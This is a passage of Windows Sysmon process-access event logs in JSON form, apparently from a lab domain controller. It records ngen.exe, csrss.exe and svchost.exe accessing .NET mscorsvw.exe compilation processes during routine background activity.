12:01:58.947","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010E5CA0B00}","TargetProcessId":"4780","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7277,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AD-5F2D-0000-0010E5CA0B00}\r\nTargetProcessId: 4780\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AD-5F2D-0000-0010E5CA0B00}","TargetProcessId":"4780","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7278,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:58.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B6-5F2D-0000-0010ABC90C00}\r\nTargetProcessId: 4780\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:58.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B6-5F2D-0000-0010ABC90C00}","TargetProcessId":"4780","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7279,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.010\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-00106FCD0C00}\r\nTargetProcessId: 3976\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.010","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-00106FCD0C00}","TargetProcessId":"3976","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7280,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.010\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-00106FCD0C00}\r\nTargetProcessId: 3976\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.010","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-00106FCD0C00}","TargetProcessId":"3976","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7281,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B7-5F2D-0000-00106FCD0C00}\r\nTargetProcessId: 3976\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B7-5F2D-0000-00106FCD0C00}","TargetProcessId":"3976","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7282,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.057\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A2-5F2D-0000-0010C9350B00}\r\nTargetProcessId: 3396\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.057","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A2-5F2D-0000-0010C9350B00}","TargetProcessId":"3396","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7283,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.057\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A2-5F2D-0000-0010C9350B00}\r\nTargetProcessId: 3396\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:59.057","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A2-5F2D-0000-0010C9350B00}","TargetProcessId":"3396","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7284,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:59.057\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A2-5F2D-0000-0010C9350B00}\r\nTargetProcessId: 3396\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 